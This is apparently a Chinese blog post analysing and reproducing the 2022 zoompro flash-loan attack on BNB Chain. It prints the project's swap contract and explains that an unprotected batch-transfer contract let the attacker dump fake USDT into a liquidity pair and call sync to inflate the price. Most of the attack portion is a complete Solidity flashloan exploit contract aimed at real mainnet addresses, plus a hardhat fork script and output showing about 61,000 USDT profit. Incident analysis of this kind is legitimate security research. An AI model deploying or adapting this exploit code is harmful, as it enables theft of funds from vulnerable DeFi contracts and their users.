zoompro攻击事件分析与复现

2022-09-09

简介

项目官网:https://zoompro.finance/#/main/swap

从项目官网js文件能看出来此项目大概率是个骗子盘

image-20220906145821510

关键合约

假 u: 0x62D51AACb079e882b1cb7877438de485Cba0dD3f

批量转账合约:0x47391071824569F29381DFEaf2f1b47A4004933B

假u和token的池子:0x1c7ecBfc48eD0B34AAd4a9F338050685E66235C5

被黑代币 zoom:0x9CE084C378B3E65A164aeba12015ef3881E0F853

分析

攻击hash:https://bscscan.com/tx/0xe176bd9cfefd40dc03508e91d856bd1fe72ffc1e9260cd63502db68962b4de1a

来看下这个项目在测试网上的合约:

https://testnet.bscscan.com/address/0x253d3EC210449F6aED6B50E6a7dB40d3Fc89A2E5#code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

interface relationship {
function defultFather() external returns (address);

function father(address _addr) external view returns (address);

function grandFather(address _addr) external returns (address);

function otherCallSetRelationship(address _son, address _father) external;

function getFather(address _addr) external view returns (address);

function getGrandFather(address _addr) external view returns (address);
}

interface IERC20 {
function totalSupply() external view returns (uint256);

function balanceOf(address account) external view returns (uint256);

function transfer(address recipient, uint256 amount) external returns (bool);

function allowance(address owner, address spender) external view returns (uint256);

function approve(address spender, uint256 amount) external returns (bool);

function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

function mint(uint256 amount) external returns (bool);

function transferOwnership(address newOwner) external;
}

interface IdexRouter02 {
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);

function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);

function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);

function getAmountsOut(uint amountIn, address[] memory path)
external view
returns (uint[] memory amounts);
}

interface IusdtZhen {
function walletAGate() external view returns (uint256);

function walletBGate() external view returns (uint256);

function fatherGate() external view returns (uint256);

function grandFatherGate() external view returns (uint256);

function brunGate() external view returns (uint256);

function getPair(address tokenA, address tokenB) external view returns (address pair);
}

contract Ownable {
address private _owner;

event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () public {
address msgSender = msg.sender;
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}

/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}

/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}

/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}

/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}

contract AntiSwap is Ownable {

address public usdtZhen;
address public usdtJia;
address public anti;

//假u和token的lp
address public pair;
//真u和假u的lp
address public pair2;
address public defaultAdd; //断代后接收手续费的默认地址
relationship public RP;

address public fundPoolAdd; //基金池收取手续费比率
uint256 public fundPoolRate; //基金池收取手续费比率
uint256 public sixGenSumRate; //六代比率,总的,扩大10倍
uint256[] public sixGenRate; //六代比率,每层,扩大100倍

IdexRouter02 router02 = IdexRouter02(0x10ED43C718714eb63d5aA57B78B54704E256024E);
event Transfer(address indexed from, address indexed to, uint256 value);
mapping(address => bool) public writeList;
function setWhiteListBat(address[] calldata _addr, uint256 _type, bool _YorN) external onlyOwner {for (uint256 i = 0; i < _addr.length; i++) {writeList[_addr[i]] = _YorN;}}

function init(address _usdtZhen, address _usdtJia, address _anti, address _router02, address _pair, address _pair2,
address _defaultAdd, address _RP,address _fundPoolAdd, uint256 _fundPoolRate, uint256[] memory _sixGenRate) public onlyOwner() {

usdtZhen = _usdtZhen;
usdtJia = _usdtJia;
anti = _anti;
router02 = IdexRouter02(_router02);
pair = _pair;
pair2 = _pair2;
defaultAdd = _defaultAdd;
RP = relationship(_RP);

//手续费有收小数,所以注意设置上去时,要扩大十倍,不然到时候也gg了
fundPoolAdd = _fundPoolAdd;
fundPoolRate = _fundPoolRate;
sixGenSumRate = 0;
sixGenRate = _sixGenRate;
for (uint256 i = 0; i < sixGenRate.length; i++) sixGenSumRate = sixGenSumRate + sixGenRate[i];

IERC20(usdtZhen).approve(address(router02), uint256(- 1));
IERC20(usdtJia).approve(address(router02), uint256(- 1));
IERC20(anti).approve(address(router02), uint256(- 1));
IERC20(pair).approve(address(router02), uint256(- 1));
IERC20(pair2).approve(address(router02), uint256(- 1));
}

// ******************************************************

//这里至下往上,逐级层级分润,详细见业务
function rpSixAwardPub(uint256 _amount, address _to) internal returns (uint256){
uint256 _trueAmount = _amount * (100000 - (sixGenSumRate + fundPoolRate)) / 100000; //算出来应获得,注意比率都扩大了十倍,都是浮点的锅
if(_to != address(0)) {
rpSixAward(_to, _amount); //层级吃吃吃吃吃吃
} else {
_trueAmount = _amount * (100000 - (fundPoolRate)) / 100000; //算出来应获得,注意比率都扩大了十倍,都是浮点的锅
}
IERC20(anti).transfer(fundPoolAdd, _amount * fundPoolRate / 100000);//基金池马走日
return _trueAmount;
}

function rpSixAward(address _user, uint256 _amount) internal returns (uint256){
uint256 orw = 0; //累计已发出金额
address cua = _user; //当前用户,要轮啊轮,不要就完犊子了

//开始轮训奖励,吃吃吃吃吃吃饱业务
for (uint256 i = 0; i < sixGenRate.length; i++) {
address _fa = RP.father(cua);

//两种情况:一种是没有绑定上线,另一种是有上线但没有六级,断档了真特么见鬼
if (_fa == address(0)) {
//处理方式都一样的,总的应发层级奖励-已发层级奖励。没有上线就是全吃吃吃吃吃,断档了就吃渣渣
uint256 defaultAll = ((_amount * sixGenSumRate / 100000) - orw);
IERC20(anti).transfer(defaultAdd, defaultAll);
break;
}

//余下就是有上线的杂鱼,按业务分层处理,只有一个注意点,真特么手续费扩大过10倍,只处理0.X的费率,还说写死鬼
uint256 _rw = (_amount * sixGenRate[i] / 100000);
IERC20(anti).transfer(_fa, _rw);

//累计发放过的金额,给孤儿或断档做计算数据。更替地址,给他老家伙轮训
cua = _fa;
orw += _rw;
}

return orw;
}

// ******************************************************
//真u到token
function buy(uint256 _amount) public {
IERC20(usdtZhen).transferFrom(msg.sender, address(this), _amount);

//开始得到token
address[] memory path = new address[](3);
path[0] = usdtZhen;
path[1] = usdtJia;
path[2] = anti;
uint256[] memory amountSwap = router02.swapExactTokensForTokens(_amount, 0, path, address(this), block.timestamp);

uint256 bf = amountSwap[amountSwap.length - 1];//查询token余额
uint256 bk = rpSixAwardPub(bf, msg.sender);//开始六层分润
IERC20(anti).transfer(msg.sender, bk);//按刨除分润后的金额,系数打给用户
}

function sell(uint256 _amount) public {
IERC20(anti).transferFrom(msg.sender, address(this), _amount);

_amount = rpSixAwardPub(_amount, msg.sender);//修改金额,变成六层分润过后的金额

address[] memory path = new address[](3);
path[0] = anti;
path[1] = usdtJia;
path[2] = usdtZhen;
router02.swapExactTokensForTokens(_amount, 0, path, msg.sender, block.timestamp);
}

// ******************************************************
//假u到token
function buy2(uint256 _amount) public {
require(writeList[msg.sender],"no swap role");
IERC20(usdtJia).transferFrom(msg.sender, address(this), _amount);

address[] memory path = new address[](2);
path[0] = usdtJia;
path[1] = anti;

uint256[] memory amountSwap = router02.swapExactTokensForTokens(_amount, 0, path, address(this), block.timestamp);

uint256 bf = amountSwap[amountSwap.length - 1];//查询token余额
uint256 bk = rpSixAwardPub(bf, address(0));//开始六层分润
IERC20(anti).transfer(msg.sender, bk);//按刨除分润后的金额,系数打给用户
}

function sell2(uint256 _amount) public {
require(writeList[msg.sender],"no swap role");
IERC20(anti).transferFrom(msg.sender, address(this), _amount);

_amount = rpSixAwardPub(_amount, address(0));//修改金额,变成六层分润过后的金额

address[] memory path = new address[](2);
path[0] = anti;
path[1] = usdtJia;

router02.swapExactTokensForTokens(_amount, 0, path, msg.sender, block.timestamp);
}

// ******************************************************
//真u到假u
function buy3(uint256 _amount) public {
require(writeList[msg.sender],"no swap role");
IERC20(usdtZhen).transferFrom(msg.sender, address(this), _amount);

address[] memory path = new address[](2);
path[0] = usdtZhen;
path[1] = usdtJia;

uint256[] memory amountSwap = router02.swapExactTokensForTokens(_amount, 0, path, msg.sender, block.timestamp);
}

function sell3(uint256 _amount) public {
require(writeList[msg.sender],"no swap role");
IERC20(usdtJia).transferFrom(msg.sender, address(this), _amount);

address[] memory path = new address[](2);
path[0] = usdtJia;
path[1] = usdtZhen;

router02.swapExactTokensForTokens(_amount, 0, path, msg.sender, block.timestamp);
}

// ******************************************************
//真u到假u,内部调用。区别是:这个是转账到指定用户,上面那个是转账给调用人
function buy3(uint256 _amount, address _user) internal {
IERC20(usdtZhen).transferFrom(msg.sender, address(this), _amount);

address[] memory path = new address[](2);
path[0] = usdtZhen;
path[1] = usdtJia;

router02.swapExactTokensForTokens(_amount, 0, path, _user, block.timestamp);
}

function sell3(uint256 _amount, address _user) internal {
IERC20(usdtJia).transferFrom(msg.sender, address(this), _amount);

address[] memory path = new address[](2);
path[0] = usdtJia;
path[1] = usdtZhen;

router02.swapExactTokensForTokens(_amount, 0, path, _user, block.timestamp);
}

// ******************************************************
// 流动性管理- 真u到token
function addL(uint256 _amountADesired, uint256 _amountBDesired) public {
//把用户的真u搞成假u,就当时收用户假u
buy3(_amountADesired, address(this));
IERC20(anti).transferFrom(msg.sender, address(this), _amountBDesired);

router02.addLiquidity(usdtJia, anti, IERC20(usdtJia).balanceOf(address(this)), _amountBDesired, 0, 0, msg.sender, block.timestamp);
}

function remL(uint256 _liquidity) public {
//上一步:用户得到lp实际是:假u和token组合的lp。所以解除的话就是:得到假u和token
IERC20(pair).transferFrom(msg.sender, address(this), _liquidity);
router02.removeLiquidity(usdtJia, anti, _liquidity, 0, 0, address(this), block.timestamp);

//然后把假u兑换真u
address[] memory path = new address[](2);
path[0] = usdtJia;
path[1] = usdtZhen;
router02.swapExactTokensForTokens(IERC20(usdtJia).balanceOf(address(this)), 0, path, address(this), block.timestamp);

//都给用户
IERC20(usdtZhen).transfer(msg.sender, IERC20(usdtZhen).balanceOf(address(this)));
IERC20(anti).transfer(msg.sender, IERC20(anti).balanceOf(address(this)));
}

// 流动性管理- token到假u。上面是把用户的真u搞成假u,然后添加了池子2的流动性。这一步是手里面直接有假u了,直接添加池子2流动性。以增加池子2假u和token的交易量(实际上是真u和token交易量)
function addL2(uint256 _amountADesired, uint256 _amountBDesired) public {
IERC20(usdtJia).transferFrom(msg.sender, address(this), _amountADesired);
IERC20(anti).transferFrom(msg.sender, address(this), _amountBDesired);
router02.addLiquidity(usdtJia, anti, _amountADesired, _amountBDesired, 0, 0, msg.sender, block.timestamp);
}

function remL2(uint256 _liquidity) public {
IERC20(pair).transferFrom(msg.sender, address(this), _liquidity);
router02.removeLiquidity(usdtJia, anti, _liquidity, 0, 0, msg.sender, block.timestamp);
}

// 流动性管理- 真u到假u。这里是添加池子1的流动性,这里是给用户提供转换的
function addL3(uint256 _amountADesired, uint256 _amountBDesired) public {
IERC20(usdtZhen).transferFrom(msg.sender, address(this), _amountADesired);
IERC20(usdtJia).transferFrom(msg.sender, address(this), _amountBDesired);
router02.addLiquidity(usdtZhen, usdtJia, _amountADesired, _amountBDesired, 0, 0, msg.sender, block.timestamp);
}

function remL3(uint256 _liquidity) public {
IERC20(pair2).transferFrom(msg.sender, address(this), _liquidity);
router02.removeLiquidity(usdtJia, usdtZhen, _liquidity, 0, 0, msg.sender, block.timestamp);
}

// ****************************************************** 询价

function getPrice(address _token, uint256 _amount) public view returns (uint256){
address[] memory path = new address[](3);
if (_token == usdtZhen) {
path[0] = usdtZhen;
path[1] = usdtJia;
path[2] = anti;
} else {
path[0] = anti;
path[1] = usdtJia;
path[2] = usdtZhen;
}
return router02.getAmountsOut(_amount, path)[2];
}

function getPrice2(address _token, uint256 _amount) public view returns (uint256){
address[] memory path = new address[](2);
if (_token == usdtJia) {
path[0] = usdtJia;
path[1] = anti;
} else {
path[0] = anti;
path[1] = usdtJia;
}

return router02.getAmountsOut(_amount, path)[1];
}

function getPrice3(address _token, uint256 _amount) public view returns (uint256){
address[] memory path = new address[](2);
if (_token == usdtZhen) {
path[0] = usdtZhen;
path[1] = usdtJia;
} else {
path[0] = usdtJia;
path[1] = usdtZhen;
}

return router02.getAmountsOut(_amount, path)[1];
}

// ****************************************************** 普通币币,查询lp

function getLp(address fa, address tokenA, address tokenB) public view returns (address pair){return IusdtZhen(fa).getPair(tokenA, tokenB);}

function withdrawToken(address token, address to, uint value) public onlyOwner returns (bool){
(bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success, string(abi.encodePacked("fail code 14", data)));
return success;
}

}

逻辑大概是 用户用真u买币->真u换成假u->假u换币 实际上项目方有两个池子 一个是真u和假u 的池子 一个是假u和币的池子

漏洞成因

项目方为了方便空投发币方便创建了一个批量发币合约,但是不知道为啥项目方往这个合约里打了100w的假u,这个合约是不开源的,但是没有权限控制,任何人都可以调用,猜测攻击者从项目方的地址交易记录中发现里这个合约。

image-20220908231145210

攻击流程

攻击者从pancake池子中闪电贷了300w usdt ,然后调用受害合约的buy方法 买入大量代币,此时攻击者手里有大量代币,随后攻击者调用批量转账合约里的方法将合约里的100w 假u转入pair 合约中,在调用pair合约的sync方法,强制更新了pair合约的储备量,此时币价会拉升,相当于给攻击者手里的筹码拉盘了,最后攻击者砸盘,最终获利$6.1w。

复现

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
/**
*Submitted for verification at BscScan.com on 2022-03-16
*/

pragma solidity = 0.8.6;



interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);

}

interface IPancakeCallee {
function pancakeCall(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
interface IPancakePair {
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}
interface IUSD {
function batchToken(address[] calldata _addr, uint256[]calldata _num, address token)external ;
function swapTokensForExactTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts) ;
function buy(uint256) external ;
function sell(uint256)external ;
function getReserves() external view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast);
function sync ()external ;
}

contract flashloan is IPancakeCallee{
address private bnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address private router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
address private usdt = 0x55d398326f99059fF775485246999027B3197955;
address private swap = 0x5a9846062524631C01ec11684539623DAb1Fae58;
IERC20 Usdt =IERC20 (usdt);
address private zoom = 0x9CE084C378B3E65A164aeba12015ef3881E0F853;
address private batch = 0x47391071824569F29381DFEaf2f1b47A4004933B;
address private fU = 0x62D51AACb079e882b1cb7877438de485Cba0dD3f;
address private pp = 0x1c7ecBfc48eD0B34AAd4a9F338050685E66235C5;
IERC20 Zoom =IERC20 (zoom);
IPancakePair LP= IPancakePair(0x7EFaEf62fDdCCa950418312c6C91Aef321375A00);
function loan(uint256 amount) public payable{
require(msg.sender ==0xc578d755cd56255d3ff6e92e1b6371ba945e3984, "fuck u");
LP.swap(amount,0,address(this),new bytes(1));//vay tiền

}

function pancakeCall(address sender, uint amount0, uint amount1, bytes calldata data) override external
{
uint256 ba = Usdt.balanceOf(address(this));
Usdt.approve(swap,100000000000000000000000000000000000000);
address[] memory path = new address[](2);
path[0] = usdt;
path[1] =swap;
IUSD(swap).buy(ba);
address[] memory n1 = new address[](1);
n1[0] = pp;
uint256[] memory n2 = new uint256[](1);
n2[0] = 1000000 ether;
IUSD(batch).batchToken(n1,n2,fU);
IUSD(pp).sync();
uint256 baz = Zoom.balanceOf(address(this));
Zoom.approve(swap, baz*100);
IUSD(swap).sell(baz);

Usdt.transfer(address(LP),(ba*10030)/10000);//tra tien
//
uint256 U= Usdt.balanceOf(address(this));
IERC20(usdt).transfer(0xc578d755cd56255d3ff6e92e1b6371ba945e3984,U);
}

}

使用hardhat fork bsc 主网 21055930区块:

攻击脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
const hre = require('hardhat')

async function main(){
const attackAddr = "0xc578d755cd56255d3ff6e92e1b6371ba945e3984"
const usdtAddress = "0x55d398326f99059fF775485246999027B3197955"
const amount = 3000000000000000000000000


//step1 deploy attack contract
await hre.network.provider.request({
method:"hardhat_impersonateAccount",
params:[attackAddr]
})
const signer = await hre.ethers.getSigner(attackAddr)
let attackcontract = await hre.ethers.getContractFactory("flashloan",signer)
let usdtContract = await hre.ethers.getContractAt('IBEP20',usdtAddress)
let attackContract = await attackcontract.deploy()
await attackContract.deployed()
console.log("attack contract deployed address is:",attackContract.address)
const bal1 = await usdtContract.balanceOf(attackAddr)
console.log("before attack hacker usdt balance is:",bal1/1e18)
//step2 excute flashloan
console.log("start attack....")
await attackContract.loan(BigInt(amount))
const bal2 = await usdtContract.balanceOf(attackAddr)
console.log("attack complete usdt balance is :",bal2/1e18)
}

main()

结果如下:

1
2
3
4
attack contract deployed address is: 0x95eaaA92eE4e383e728959083F4B9fd3C21227FB
before attack hacker usdt balance is: 0
start attack....
attack complete usdt balance is : 61160.28312893072